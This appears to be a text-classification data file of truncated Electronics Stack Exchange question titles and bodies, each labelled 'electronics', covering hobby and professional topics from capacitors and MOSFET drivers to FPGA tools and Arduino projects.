",['electronics'] "Title: Can I use a silicon controlled rectifier to discharge a capacitor? Body: Can I use a silicon controlled rectifier to discharge a capacitor? If yes, can you provide a diagram of how this would work in, say, a coil gun? ",['electronics'] "Title: Open Source verilog synthesizer Body: I'm looking for an open source verilog synthesizer. I am using Icarus Verilog as a verilog simulator. Originally I was going to use it for both simulation and synthesis, but found out the tool no ... ",['electronics'] "Title: Is it generally possible to uniquely identify an individual MCU (for licensing purposes) (no MAC address available) Body: I am being asked to enhance the firmware installation program for an MCU (specifically, a Freescale MC9S12E64 - though I don't know if this matters). The purpose of the enhanced installation is to ... ",['electronics'] "Title: Grounding and why charge leakage occurs Body: A basic nugget of info is missing in my end-to-end picture of how grounding works and why it's important. When a voltage is applied in a circuit the electric current starts flowing (or the field ... ",['electronics'] "Title: Rechargeable battery vs Alkaline Body: I make custom clocks, some of these with electromechanical control circuits. An example would be a cuckoo clock that has a small dc motor / drive circuit used to actuate a bird/door mechanism. ... ",['electronics'] "Title: Optiflow based Odometry speed sensing Body: Am planning to build a odometry speed sensor based on optiflow to measure the speed of the conveyor. I am using ADNS-5020-E from a old mouse of mine and managed to get the X and Y coordinates by ... ",['electronics'] "Title: Strange Eagle Copper Pour Issue Body: I'm experiencing an interesting issue with Eagle's polygon copper pour. As you can see below, the solid red is the copper pour area, while the dashed line is showing the complete polygon outline (I ... ",['electronics'] "Title: Is wire wrapping still used nowadays? Body: I know that wire wrapping was used in critical applications where reliability was a major concern because it is more reliable than PCB based assemblies. But is it still true? The AGC (Apollo Guidance ... ",['electronics'] "Title: How to determinate a reasonable clock frequency for a MCU? Body: Currently my datalogger is running at 12Mhz, and sleeps 90% of the time. When it's active its mostly blocked by I/O like SD-card or UART. I suspect the system would still work at 6 Mhz, but how do ... ",['electronics'] "Title: How to sum or calculate voltage or current harmonics component that are in parallel ? Body: Recently I measured voltage and current harmonics in coal mining industry. But they only have Power Quality Meter with limited current clamps (not big enough for the PCC(point of common coupling)). So ... ",['electronics'] "Title: Mains on a single core wire? Body: I have some single core wires normally used in simple breadboard circuits to handle 5V. I have built a power supply circuit on a perfboard, with a standard transformer + capacitor + 7805 build. Can ... ",['electronics'] "Title: Wireless communication with robot Body: I am making a simple robot, and am using a relatively cheap RF transmitter and receiver to send commands to my robot. Essentially, the transmitter end would send data from an AVR MCU via its UART to ... ",['electronics'] "Title: Any reason not to use Timer0 on AVR? Body: Just a basic question... For arduino/avr/ATMega328 I find lots of examples using Timer1 (there's even a whole library for it) but rarely any that utilize Timer0 (or Timer2). Now, I know that using ... ",['electronics'] "Title: advice on a transformer for power-supply Body: i know this type of question is common and yes i could just buy a known transformer for $10 on ebay or something. either way :) i am interested in building my own power supply, something variable ... ",['electronics'] "Title: How paint an electronic circuit? Body: I want to make a electronic circuit more hidden. So, I want to make it all black. The easy way is get a spray ink and use it. But will it work? Which ink or paint I can use? ",['electronics'] "Title: What happens when you set a pin in the wrong direction? Body: All MCU's have digital pins, which you can configure to function as input or output. When you set something to 'output' which is wired as an 'input', will there be any possibilities of short-circuits ... ",['electronics'] "Title: ULN2003a and Relays Body: Hi! We need help for this problem. This system is about switching relays. We are using one 6V relay for the six loads for the light breaker 1 and light breaker 2. The light breaker 1 relay and ... ",['electronics'] "Title: Getting a incorrect voltage from a analog sensor Body: I'm trying to build a very simple thermometer using shift registers, 7-segment LEDs, and a LM35. The idea of the project is to learn more about shift registers and how to use them. What I've done so ... ",['electronics'] "Title: Flash atmega 8u2 on arduino mega with another arduino mega as ISP Body: [For a detailed post of my problem read here] Long story short: My Arduino mega 2560 works fine (I plug it in, code runs flawlessly) except for the usb-serial converter which when connected to the PC ... ",['electronics'] "Title: Do any SMT components require hand soldering due to heat limitations? Body: It has been claimed on another board that some SMT components cannot be used in an automated production line (i.e. reflow or wave soldering) because they cannot withstand the heat/temperature. Hand ... ",['electronics'] "Title: FM Transmitter Circuit Body: I'm trying to make a FM transmitter work properly. I built the following circuit : I can synchronize with 94.8Mhz channel on any FM radio, I know that because the original sound from that radio is ... ",['electronics'] "Title: Want a Second Look Do all of these Capacitors Need to be Changed? [closed] Body: I pulled apart my monitor to check the capacitors and I think almost all of them need to be replaced but there are a couple I am not sure about ",['electronics'] "Title: How to Add the Xilinx Library to Modelsim Body: I'm trying to simulate an example design of an IP Core, but the version of ModelSim I have installed (Altera Edition/Linux) does not link to the Xilinx library. How can I permanently or temporarily ... ",['electronics'] "Title: What are the general steps used in creating a ASIC? Body: I'm following a discussion board that discusses an ASIC chip they are building, and they are using terms that I'm unfamilliar with. So far I've gathered Once a logic design is tested on an FPGA it ... ",['electronics'] "Title: Is MC8051 is a microprocessor with some components on chip? Body: The 8051 microcontroller is a microprocessor with RAM, ROM, I/O ports, timers, and serial ports on chip. Is that the correct distinction between a microprocessor and microcontroller? ",['electronics'] "Title: Calculate charge time of a capacitor through a current limiting power supply? Body: Is there a formula or a way to calculate Charge time of a capacitor given that it is charged by a current limiting power supply. This would lengthen the charge time but is there a way to calculate ... ",['electronics'] "Title: coding using Arduino, two 74HC595 and two RGB LED, problems with shifting out database Body: the whole point of this was to be able to send 8 bits of color code to 2 rgb leds through 2 74hc595 registers. if i can get the default color for each led to be sent out then the next part of code is ... ",['electronics'] "Title: Temperature dependance of IGBT max collector current Body: I have an IGBT (datasheet), that I am using as a switch for a coilgun. How would I calculate the maximum pulse collector current in function of the ambiant temperature and time? Also, if we're ... ",['electronics'] "Title: Is it possible to add automatically not installed libraries in Altium? Body: As the title says: Is it possible to add automatically not installed libraries in Altium ? After I reinstall Altium all the libraries I have added are not there I have to add them one by one again ... ",['electronics'] "Title: 10 million cycle mechanical switch Body: I've been working on my electrical switch with 10 million cycles lifetime, and changed the design from using mechanical contact to hall effect sensors as per the advice of stackexchange. However I ... ",['electronics'] "Title: Can someone explain impedance in simplest way? [duplicate] Body: I know in DC it is Resistance of the load. In AC is it impedance of a line correct? can someone please help me understand impedance and types of impedance. Zero Sequence, Positive sequence and 2 ... ",['electronics'] "Title: Pad size for JEDEC 1.0mm pitch 27x27 device [duplicate] Body: I have a JEDEC 1.0mm pitch 27x27 device. The only missing information I need to build a footprint for it is the size of the pads. What size of pads should I use for a JEDEC 1.0mm pitch 27x27 device? ",['electronics'] "Title: Wiring a SPDT Relay Body: I am new to Electronics and I am currently trying to wire up a SPDT Relay. I must admit I am totally confused. I want to have a SPDT switch that simply switches the relay over. Any pointers would be ... ",['electronics'] "Title: Oscilating System Body: For a positive feedback system formed by an amplifier network A(s) and feedback network B(s), we have the following transfer function : H(s) = A(s)/[1 - A(s)B(s)]. Quoting the Barkhaus Criterion, it ... ",['electronics'] "Title: On using an electromagnet in a magnetic stirrer Body: What's the simplest and cheapest way to use one or more electromagnet to to stir a stir bar ? That is, how to control the speed at which the polarities are reversed. I don't want any mechanical part ... ",['electronics'] "Title: Hendershot generator w/unpolorized capacitors [closed] Body: does the Hendershot fueless generator work? ",['electronics'] "Title: Multiple micro controllers to control LED matrix Body: I am planning to use 5 40 pin Picaxe micro-controllers to control a 70x70 LED board matrix. My plan is to use 4 of the micro-controllers to control the LEDs and the 5th to tell the other ... ",['electronics'] "Title: How to find currents of all nodes using superposition theorem Body: Given this circuit: simulate this circuit – Schematic created using CircuitLab Using the superposition theorem, I need to find the current of all the 3 nodes of the circuit. Using ... ",['electronics'] "Title: Minimizing Karnaugh map Body: I have the following Karnaugh map's for JK flip flops. I've attempted to minimize them myself, however whenever I go to implement them I run in to an error. Anyone able to see if I've made an error in ... ",['electronics'] "Title: Question about using N-channel MOSFETs in a current sharing controller Body: My question is specifically regarding LTC4353 : Product link: http://www.linear.com/product/LTC4353 Datasheet link: http://www.linear.com/docs/41582 Looking at the diagram on the product ... ",['electronics'] "Title: What does a beginner need to know to build a programmable heater based on resistance heating? Body: To build a programmable deep fryer, as a learning project for more serious checmical reactors, I need to build a programmable heat source that can be controlled in response to sensor readings and a ... ",['electronics'] "Title: ElectroMagnetic Induction Body: there is already a electromagnetic brake. I'm thinking to use a electromagnetic induction as brake. is it possible? ",['electronics'] "Title: What's the input resistance of an opto-isolator? Body: I need to sense if a 48 volt power supply is supplying voltage or not, I plan on doing this with a opto-isolator and I am happy with the output circuit from isolator. Can I connect the input of the ... ",['electronics'] "Title: Shielding Material of a cable Body: I was reading one of your previous answers related with grounding of a cable. (Which was Suggesting whether cables should be grounded from both end or single end.) I was wondering if you can think of ... ",['electronics'] "Title: What does a beginner need to know to build an inductive heater? Body: I'm a programmer by profession and building skills in metalworking and my goal is to build certain types of chemical reactors. As a learning project, I want to construct a programmable deep fryer. One ... ",['electronics'] "Title: Open loop op-amp white noise difference amplifier Body: I want to amplify the noise generated by a MAX8069 voltage reference, using direct coupling in order to preserve the low frequency components. The frequency band of interest is from 1Hz to 44Khz. I'd ... ",['electronics'] "Title: Why does this insulator separate two conductors with equal voltages? Body: Here goes a view-from-below picture of a 3 kilovolts DC railway catenary Here B is a suspension cable, C is a two-stranded contact wire - one which the train pantograph touches. Between B and C ... ",['electronics'] "Title: Digital Circuit question - sensing input across power rails using a micro Body: In the Circuit shown below, I am trying to achieve the following (I know my circuit is not correct, it is an attempt). Problem: WHen INPUT_N = 0V, the input to the microcontroller does not go low. ... ",['electronics'] "Title: Considerations For Motor Cables: what are the downsides to ribbon cable? Body: My friend (a Mechanical Engineering student) is building machine that uses an array of motors in an application where they are under almost no load. He showed me the thin, old, ribbon cable he intends ... ",['electronics'] "Title: Fried Arduino uno pins. yet I can blink led 13. anything plugged in does nothing [closed] Body: I don't really know what happened. I was using a 5 volt relay and now nothing works. I can upload sketches to it and blink led 13 but anything plugged into it does nothing. the 5volt and grounds don't ... ",['electronics'] "Title: Transforming volts to bits Body: I have need to detect when something around the house is switched on. A simple example would be that if someone switched on a light i need to be able to track that on a computer. It needs to be at ... ",['electronics'] "Title: Why a high number of harmonics means a lower bitrate? Body: I am studying on a book (I'm still at basics) and I haven't understood why a signal with a lower number of harmonics implies a low bit rate. I have this figure: It clearly shows how a signal with ... ",['electronics'] "Title: Temperature limit on Soldering iron\heating element Body: I am trying to design a soldering iron type of tool that will not heat-up past, lets just say 400 degrees F. I know I can get a PID controller and manipulate the temp, but I'd JUST like the unit to ... ",['electronics'] "Title: BF 494 Transistor - conflict in pinout Body: It might sound stupid but I'm in a real doubt since many datasheets disagree regarding the BF494 transistor pinout. 1- http://www.datasheetdir.com/CDIL-BF494+RF-Transistors 2- ... ",['electronics'] "Title: SU-48 footprint Body: This datasheet specifies the packages for the components, but not the associated footprints. The package of interest for me is SU-48. The obvious search brings me to this outline, but still no ... ",['electronics'] "Title: Error in final launch sequence Failed for OpenOCD (Olimex) for ARM (STM32fxx) Body: I am using openOCD in eclipse for the arm STM32F10x series. After writing the whole code and building everything without error in the program, I am going to debug it and I am getting an error after ... ",['electronics'] "Title: LiPo discharge circuit doesn't work Body: A friend of mine gave me this circuit to discharge a 3V7, 5000mAh single-cell LiPoly accu: simulate this circuit – Schematic created using CircuitLab The zener is to make sure that the ... ",['electronics'] "Title: Why is silicon used to make microchips? Body: On my quest to better understand how computers work at a deep level I have come to the question of why, exactly, silicon is used in microchips. I always assumed, naively, that silicon had a very high ... ",['electronics'] "Title: Replacement for ISP1760 Body: We have been using ISP1760 in our designs with Altium Nanoboard. The design uses a shared menory between the SRAM, USB interface, Flash component. Now, the USB controller for the Nanoboard ISP1760 is ... ",['electronics'] "Title: Inexpensive multimeter for integrated current measurement Body: I'm building a simple circuit with an Arduino Nano board, which will read signals from a Hall sensor and periodically send pulses to a small 5V solenoid. I'll drive it from 6xAA batteries in series, ... ",['electronics'] "Title: Does a specific laser module have a specific amount of power needed? Body: Does a certain kind of laser module need amount of power, or can I just take the module from different laser and solder it onto a new driver? I want a key chain size laser with interchangeable ... ",['electronics'] "Title: What are FIT's and how they used in reliability calculations? Body: In Military, Medical, Space, Professional eqt. design there is a need to be able to prove that your device can last a certain length of time with a certain confidence level. Or that reliability must ... ",['electronics'] "Title: Sync 12 Arduinos - I2C vs Serial Body: I've been given 12 arduinos (Mega) and 12 breakout boards (custom built. they pump up the output of the digital pins to 12v @120mA) to control around 300 LEDs. I'm using a pseudo PWM library to fade ... ",['electronics'] "Title: Eagle: Removing unwanted bits of copper pour Body: I have lazily made a copper pour in Eagle by highlighting a rectangle around my irregular shaped board. How do I then selectively remove the copper pour from outside the board boundary and the little ... ",['electronics'] "Title: Two MinIMU-9 v2 with LPCxpresso, or Arduino Uno/Mega Body: I am working on a project that interfaces two IMU sensors to one microprocessor (NXP LPCxpresso). The purpose is to read both of gyro and accelero at two different place on the bodies. I have ... ",['electronics'] "Title: Transformerless inverter from 20*12V batteries Body: Is it possible to convert 240VDC from 20*12V batteries to 180VAC-240VAC pure Sine Wave? i have an idea using H-Bridge mosfet drivers....But i have seen on web that 350Vdc is must to convert it to ... ",['electronics'] "Title: Finding RC output voltage to a sine input? Body: So I have a simple RC series circuit with a sine input with -1 dc and amplitude A. I'm trying to find the value of the output voltage across both the R and C elements. The problem is, the sine wave ... ",['electronics'] "Title: STM32F4 USART USB communication with PC? Body: I am trying to use STM32 provided example of USART called ""HyperLink"" which basically runs USART1 on ports PA9 and PA10. The problem is that my computer does not find any new COM ports. Do I need ... ",['electronics'] "Title: PIC Microchip interface with PC Body: I have been using USART for interfacing PICs to my PC for datalogging. The problem is that now serial ports are not very common and often you need a USB-Serial adapters which do not always work or ... ",['electronics'] "Title: What NPN transistor should I use? Body: I need to control a 12v 5A (or 3A if need be) with an Arduino UNO which has 5v and 40mA. I, unfortunately don't know how to read transistor data sheets. What NPN transistor should I get for this ... ",['electronics'] "Title: Could a lamp plugged into an outlet be dimmed using a variable resistor? Body: If you had a variable resistor connected between a lamp and the wall, could it be dimmed with a variable resistor? Would it be practical, i.e. would it waste much energy? And would it affect both ... ",['electronics'] "Title: Portable 5V power supply Body: I am usually in need of powering my microcontroller projects with 5V. Typically this is not a problem, as I use any power supply (converted PC power supply, wall adapter, USB, etc.). However, when I ... ",['electronics'] "Title: Remote controlled RS232 switching Body: A mission critical fire alarm system has a GSM module that is connected via RS232 to a computer whose task is to notify emergency response teams. In case the computer fails, an off-site operator is ... ",['electronics'] "Title: Controlling the Power of a Solenoid Body: I am trying to control the force of a solenoid. My current system has a bank of capacitors connected to a relay. In order to control the force (how hard I am trying to hit the object) I am increasing ... ",['electronics'] "Title: Arduino bot that can find a specific sound signal Body: I am working on my senior design project. It is an Arduino controlled robot. I am trying to figure out the best way to implement sound localization. It seems straight forward, at least two mic's, ... ",['electronics'] "Title: Sound from picaxe [closed] Body: i have PICAXE-28 Project Board and PICAXE-28X1 IC. What is the easiest way to play music on those? I don't want to buy something that is already made, i want to make it myself, but I dunno how :D What ... ",['electronics'] "Title: Can this circuit be a Schmitt trigger? Body: I'm just learning about Schmitt triggers with op amps. I have the circuit below, and I tried to go through the calculations to find the high and low thresholds. What I'm understanding from my ... ",['electronics'] "Title: Arduino GPS Camera Body: I am working on a project through my school. We are going to be shooting cameras on spikes into the ground beside grid roads for tornado tracking. The spikes will be equipped with two cameras. My job ... ",['electronics'] "Title: What's the equivalent zener voltage of two parallel zeners? Body: Assume we have two zeners connected in parallel, one with a zener voltage of x volts, and one with a zener voltage of y volts. What will be the equivalent zener voltage of the circuit? ",['electronics'] "Title: Reducing DC voltage using resistor Body: i need to supply a circuit by 12v dc from 20v dc laptop adapter what is the required resistance value to be put after the laptop adapter to have a voltage drop from 20v to 12v dc the adapter details ... ",['electronics'] "Title: Using SVN with Xilinx Vivado? Body: I just stated using Vivado in a new project and would like to put the project files under SVN. Vivado seems to create all the project files under the project name (say proj1): ... ",['electronics'] "Title: Techniques for placing components on PCB's Body: I know that placing components is quite an art rather than following some set of rules to get the job done, but I am looking for some references about the topic. I already saw this tutorial and it is ... ",['electronics'] "Title: How to choose an IR receiver? Body: I am working on a project that requires an IR receiver module to detect particular buttons pressed from a SONY Stereo Remote. I have a regular kind IR receiver that looks like this: The problem ... ",['electronics'] "Title: How can I power 10 12V motors? Body: I am building an experiment that consists of ten either stepper or DC motors. Ideally I want to just have a switch box with one switch per motor so I can just flip the switch for motor 1 and it will ... ",['electronics'] "Title: Car Battery, storage, home reserve [closed] Body: Where I live there is a $.05per kilowatt differential in electricity costs called time of use. Everyday for at least 12 hours it is at its cheapest. From here I understand a car battery stores about ... ",['electronics'] "Title: Searching for a Micro controller with a battery capability Body: I am working on a low power design, which will have a MCU powered by my regulated DC power supply from mains(220VAC). But when the Mains fail, I intend to have a battery connected to the chip that ... ",['electronics'] "Title: Frequency multiply a digital signal using pure digital ciruitry (i.e. without PLL)? Body: Is it possible to multiply the frequency of a digital signal using digital components alone, and at the same time, preserve the duty cycle? I could finally come across the circuit below: it doubles ... ",['electronics'] "Title: How can I detect a pulse from a device with the AC'97 component of a Xilinx Atlys board? Body: I have a digital device which transmits rapid pulses over a 3.5mm audio cable, indicating that some event has occurred. I want to connect that device to my 3.5mm line in jack on my Atlys board and ... ",['electronics'] "Title: Single Supply Op Amp Bypass Caps Body: The output stage of my circuit is a 2nd order inverting low pass filter. The input should be negative (DC), thus yielding a positive output (DC). It is possible that the input could be positive, but ... ",['electronics'] "Title: What is the purpose of R2 in this discrete voltage regulator circuit? Body: I understand the general working of the circuit - R1 biases Q1, Q2 acts as an error amplifier closing Q1 just enough to get 1.4V at it's base. What is the puropse of R2? simulate this circuit ... ",['electronics'] "Title: Where to find buttons eagle cad Body: Does any one know where to find buttons in EAGLE that look something like the one in this schematic? I'm making a schematic and all I can find are complex looking buttons. If those are not ... ",['electronics'] "Title: Where to leave the test leads on a Fluke multimeter Body: I think this is somewhat of a ""trade secret"". Being a software engineer for embedded devices myself, I often find myself using oscilloscopes and multimeters. I have always wondered about my Fluke ... ",['electronics'] "Title: Manufacturer codes for E0 RFID tags Body: I have an RFID tag and I would like to know the manufacturer. According to RFID journal, the E0 format uses an 8-bit manufacturer ID. I've got this code. Is there some table where I can look up the ... ",['electronics'] "Title: What are the different ways of switching 110 VAC power? Body: I am working on a project where I need to break the path providing 110V to a motor. What are different ways of doing it? I am aware of only two ways: Using a mechanical switch, A relay. Are there ... ",['electronics'] "Title: How to interface my embedded system to a piece of .net software? [closed] Body: I have an embedded system powered by a microcontroller. I wanted to design a PC based interface in .net for that system. I am interfacing the Microcontroller with the PC through the RS232 serial COM ... ",['electronics'] "Title: Staggered vs Slow-break contacts Body: What is the difference between ""Staggered"" and ""Slow-break"" contacts? I'm trying to assemble a Harmony XAC control box and have figured out all but this (or so it seems to me, anyway :) Basically I'm ... ",['electronics'] "Title: What does “Sub-Miniature” really mean? Body: The title of this datasheet is ""Sub-Miniature Slide Switches"". What meaning does ""Sub-Miniature"" add? I notice that ""SMA connector"" also contains the term ""Sub-Miniature"". What does ""Sub-Miniature"" ... ",['electronics'] "Title: How can I do A/D conversion with isolation? Body: I have to sense a voltage range of 0-25V dc and send to the ATMEGA 32 microcontroller. I want to use a voltage divider for sensing the voltage. But the problem is isolation is required between the ... ",['electronics'] "Title: Why are relays so frequently driven by optocouplers? Body: Since the advent of the many microcontroller development boards, like Arduino, there have been a number of relay modules sold to drive mains AC loads. A lot of these seem to use an optocoupler, ... ",['electronics'] "Title: What is typical power consumption of FPGA devices Body: I am new to this site and had one question. I know typical CPUs have power consumption (TDP) in range of 100-200W, for example Intel Core2. I wanted to know what is typical power consumption of FPGAs. ... ",['electronics'] "Title: Overclocking an AVR microcontroller by using an external oscillator with higher frequency than uC supports Body: What would happen if I would connect an external oscillator that has a higher frequency than the microcontroller (AVR) supports? Will it blow up, constantly reset, or what? ",['electronics'] "Title: How to apply the Barkhausen criterion in order to know if a system will oscillate? Body: How to analyze or apply the Barkhausen criterion for oscillation of the astable multivibrator below? The criterion talks about the magnitude of the products in a loop must be equal to 1 (ideally) ... ",['electronics'] "Title: RGB and SRGB difference and their use Body: I am working on a project which include displaying RGB colors. I would like to know what is the difference between RGB and SRGB. Is it possible to have srgb colors in led. As SRGB has been used for ... ",['electronics'] "Title: Send signal to USB with linux [closed] Body: I have a digital caliper/gauge: it works with FTDI interface and digimatic (or very similar) protocol. It is connected via usb port. I can connect it correctly, and I can read it with programs like ... ",['electronics'] "Title: Any way to use N-channel mosfet in P-channel configuration? Body: In my application, I need the HIGH signal to turn a device OFF and vice versa. Clearly, this is P-mosfet configuration. However, I only N-mosfet on hand. Is there any clever way to utilize N-mosfet to ... ",['electronics'] "Title: Capacitor identification Body: I am replacing a blown capacitor on my LCD monitor power supply board. While I have the thing in pieces I thought I would replace the other electrolytics as well as they may well fail in the future. ... ",['electronics'] "Title: AC Adapter Input vs Output Power? Body: I have a laptop AC Adapter thats rated for 19.5v/3.34A DC output for a total of 65W. The input is rated at 100-240V/1.5A AC. My question is what is limiting the output to 65W? It seems like the input ... ",['electronics'] "Title: Arduino infrared problem with universal remote Body: I am playing with Arduino and Ken Shirriff's IR library. I am trying to control Sony audio receiver using codes I found on the net. Everything works OK, I am able to control the device by sending IR ... ",['electronics'] "Title: Generation of text on composite video Body: I'm building a homebrew computer. I want some way to get video out, preferably along the lines of 80x25 text. I'm not interested in framebuffer graphics. Does such a thing exist as a single-chip text ... ",['electronics'] "Title: Remote firmware upgrade Body: I am using a microcontroller with flash memory partitioned into two areas (i.e) Primary & Secondary. When a remote firmware upgrade is done, I am writing the received binary file over Ethernet to ... ",['electronics'] "Title: Android phone USB charging has a mind of its own [closed] Body: I have a Sony Xperia phone. I have 2 USB-to-USB-micro cables, a power charge-only one and a data/charge one. I connect the phone to my PC to charge the phone. When the PC is on, both cables charge ... ",['electronics'] "Title: dc machine with brushes covering more than one commutator segment Body: i'm a bit confused with the current that flows in a wave armature winding of a dc machine. In a wave winding, there are two current paths, right? what happens when the brush covers more than one ... ",['electronics'] "Title: Antenna analyzer Body: I want to measure the impedance of an antenna (at 434MHz) and for learning/fun try to build a circuit to do so. I found the return loss bridge http://www.vk2zay.net/article/179 Can I measure a ... ",['electronics'] "Title: Body biasing of MOSFET Body: Why does body biasing (i.e when \$V_{bs}\$ is less than 0 V) leads to increase in threshold voltage? I am looking for an intuitive explanation. ",['electronics'] "Title: A step function, \$u(t)=1\$, for \$t \gt 0\$. What is the value of \$u(0)\$? Body: What is the value of \$u(t)\$ for \$t=0\$? we know, \$u(t)=1\$, for \$t \gt 0\$ \$u(t)=0\$, for \$t \lt 0\$ ",['electronics'] "Title: CMR of “All Inverting” balanced line receiver Body: Walt Jung describes following instrumentation amplifier in his ""Op Amp Applications Handbook"" (pg 454) saying that the value of R5 (gain adjustment) does not have any interaction with CMR. My LTSpice ... ",['electronics'] "Title: USB3.0 Type A socket plastic insert Body: This question will probably be downvoted pretty quickly because it sounds like a shopping question, so let me start off by saying I am not looking for the lowest price, or even where to purchase this ... ",['electronics'] "Title: Is there any way to boost DC current? Body: I'm designing a circuit to charge mobile battery. My source is giving a DC output of 15V, 100mA, whereas I need DC 6V, 450mA for charging. Is there any way to boost DC current? ",['electronics'] "Title: Interrupt Service Routine in C - function at specific address Body: I need to add an Interrupt Service Routine (ISR) to existing code in C for a PIC18F4620 and a PIC18F46K22. As you can see in section 9 (of both datasheets), these devices have multiple interrupt ... ",['electronics'] "Title: newbee wants to know about 315 / 433MHZ Body: i want to send some signals on the 433 MHZ band. Now i've bought a device (CDT-88) and it says 315/433 MHZ (RF Wireless Transmitter Module 315 of 433,92 MHz CDT88) after some searching i see a lot ... ",['electronics'] "Title: Designing FIR filters [closed] Body: How can we realize a second order digital FIR filter without using a microcontroller. What assumptions would be taken? ",['electronics'] "Title: Designing a good RF Transmission/Reception system for Embedded System Body: I want to have 4 sensors transmitting information to a microcontroller ie 4-bit Encoder -> Transmitter >>>>>>>>>>>> Receiver - > Decoder -> MCU The problem I have is that if I use 4 transmitters and ... ",['electronics'] "Title: directly charge a laptop battery / using laptop battery for projects Body: I've seen a couple similar questions, but nothing exact. I'd like to know how I can charge a laptop battery directly, meaning without the laptop. This would be a battery still intact, in good ... ",['electronics'] "Title: Use Micro-Controller Instead of ESC Body: I was wondering if I could use something like microcontroller instead of an ESC. I tried finding tutorials on Google and YouTube and I couldn't find anything useful. Could you please help me? P.S. I ... ",['electronics'] "Title: DS1307 RTC not working with rweather library Body: I'm using the DS1307 RTC together with arduino and this library http://rweather.github.com/arduinolibs/classDS1307RTC.html When i power the chip directly from the 5V and GND outputs from my arduino ... ",['electronics'] "Title: High Side and Low Side MOSFET Driver… with low supply voltage Body: I need to drive a pair of N channel MOSFETs, one on the high side of the load and one on the low side of a load. Most ICs I can find for this application require 10V+ supply voltage to get the the ... ",['electronics'] "Title: Capacitors in RFID reader Body: I'm trying to understand a schematic of an RFID reader. Circuit: What capacitors are used - electrolytic or ceramic capacitors? I've seen schemes of RFID readers that use electrolytic capacitors, ... ",['electronics'] "Title: What's cheapest way to make a sound? Body: We have a portable small toy which we want to make a sound on it when is connected to socket. I don't know if we must use a little speaker with a magnet or maybe we can make a noise with a mechanical ... ",['electronics'] "Title: The mosfet driver function in high and low side [closed] Body: the mosfet gate need high voltage in order to turn on the mosfet as well? What is the different in High and Low side of MOSFET? Why there will having a high and low side ? Is there any affect ? ",['electronics'] "Title: Can individual pins of different port of a microcontroller be mapped to a register and their values be changed when changing the register value? Body: Q: Can individual pins of different port of a micro-controller be mapped to a register and their values be changed when changing the register value? Scenario: I have used up some pins from each ... ",['electronics'] "Title: Why Johnson's noise is not uniform when plotted in log mode? Body: I have a 2 resistors of 1000 k each , I have connected them in series and biased one end with +9 V and other end with +9 V. The output is taken from connection point of two resistors and I have given ... ",['electronics'] "Title: Why does the data sheet for A1362 have conflicting procedure to program sensitivity? Body: This data sheet shows two different ways to program the sensitivity of the A1362 on pg. 18 2nd paragraph under ""Hold Mode"" says ""Powering the VCC supply automatically causes the device to enter the ... ",['electronics'] "Title: Stability (phase margin) analysis in real feedback circuits Body: So I had a bright idea of using negative feedback to control offset current in my data acquisition circuit. Sure, you could do this in software, but removing the offset at the input stage would ... ",['electronics'] "Title: GPS module antenna shielding Body: I am designing a PCB including a GPS module. I am using the Locosys LS20031 which has a antenna mounted on it. The module is mounted on the board with 1"" plastic studs and a connector connects it to ... ",['electronics'] "Title: Simulation software to terminate planar waveguides by geometry and material choice? Body: There are a lot of electromagnetics software modeling suites out there (HFSS, CST Microwave, Sonnet some I've heard of). I want to terminate a coplanar GS or GSG waveguide with 50 ohm. I know that ... ",['electronics'] "Title: Batteries and chargers Body: I have an 8 cell 9.6v 600mah battery. If I take out 2 cell, making it a 7.2v battery 6 cell battery will the mah change? Also can I still use the same charger that came with the battery if I change ... ",['electronics'] "Title: DSPIC30f timer1 not trigger everytime on POR Body: I am using timer1 on DSPIC30f4011 to generate an interrupt every one millisecond. However, the timer1 ISR is not executed every time on POR (2 out of 10 times). If I turn on the power for the chip and ... ",['electronics'] "Title: Spice Physical Constants Body: According to the manual manual_17.2 ngspice allows using the predefined physical constants. But if use inside my netlist, for example the electron charge is named as ""echarge"", this constant cannot ... ",['electronics'] "Title: USB OTG, some questions Body: I am attempting a project with USB OTG functionality. I've read quite a number of documents already but there is some contradicting information out there, so I want to find out if anyone can shed some ... ",['electronics'] "Title: Building a new dynamo bike light Body: So here is the deal, for the 2nd time in less than a year, my halogen bike light on the front has popped due to cold. This is rather bothersome and I can't find any nice inexpensive LED alternatives ... ",['electronics'] "Title: Error: argument of type “cons char *” is incompatible with parameters of type “LPCWSTR” [closed] Body: I am writing a code in Visual C++ to access serial port of a computer. Code is given below:- ... ",['electronics'] "Title: What is the function of a MOSFET driver in an H-bridge? Body: What would happen if I didn't use MOSFET gate a driver, and simply connected the MOSFET gates directly to the logic outputs of a microcontroller? I am quite confused about the need of a MOSFET driver. ... ",['electronics'] "Title: Hand winding smps transformer Body: I would like to hand wind a smps transformer for prototyping work. The specs of the transformer are as follows : Transformer Parameters Core Material: EE16, NC-2H or equivalent, gapped for ALG of ... ",['electronics'] "Title: How to calculate voltage drop over and power loss in wires Body: How do I calculate the voltage drop over wires given a supply voltage and a current? How do I anticipate on voltage drop so that the final load has the correct supply voltage? What will be the power ... ",['electronics'] "Title: Electrostatic Dust-Repellant For Painting Body: I paint small, ABS plastic parts that are very high gloss and am having a problem with dust particles and lint embedding in the wet paint while it is being sprayed. The level of gloss causes these ... ",['electronics'] "Title: Can I charge my iPod touch with 650mA? [duplicate] Body: I have a converter for my cellphone that converts to 5V, 650mA. I guess the voltage (5V) is the same used in USB, but the amperage is 150mA higher. Is it unsafe to charge my iPod at the higher ... ",['electronics'] "Title: PCB design for Altera FPGA Body: I want to design a brand new PCB board for Altera Cyclone III FPGA with 144 IO pins, such as ep3c25e144. However, I am clueless of how the process can be done in Eagle Cadsoft. Even when they ... ",['electronics'] "Title: Electrical wiring sparked and now I have now power in my bedroom [duplicate] Body: I tried to replace the ceiling light holder in my bedroom, but I accidentally touched it with my pliers. It made a spark and all of the power in my room is gone?! What do I do!? ",['electronics'] "Title: How do I test an xbox 360 slim power brick? [closed] Body: I've looked everywhere and I just want an answer to a simple question. I have an xbox 360 slim and 2 power bricks I am trying to fix. I also have a multimeter. I know the power supply is meant to ... ",['electronics'] "Title: Ceiling light holder [closed] Body: I touched the wires of a ceiling light holder with plyers, it made a spark and all of the power in my room was gone. WHAT DO I DO? ",['electronics'] "Title: Solving a circuit with a directional loop Body: I came up with the following circuit: Please disregard the labeled values in the diagram - the resistances are identical for the sake of simplicity, and of value \$R\$, and the voltage has value ... ",['electronics'] "Title: Verilog interfacing with C# Body: Right now, I am taking a course on Verilog HDL, however, our instructor gave us a machine problem wherein we are required to implement a program using verilog while having C# as our main gui. The ... ",['electronics'] "Title: “Fine tuning” a potentiometer Body: I am in the middle of a quandary at work. We have wire feeders that obviously control the feed rate of wire through a welder. We have need of putting these units up out of the way and 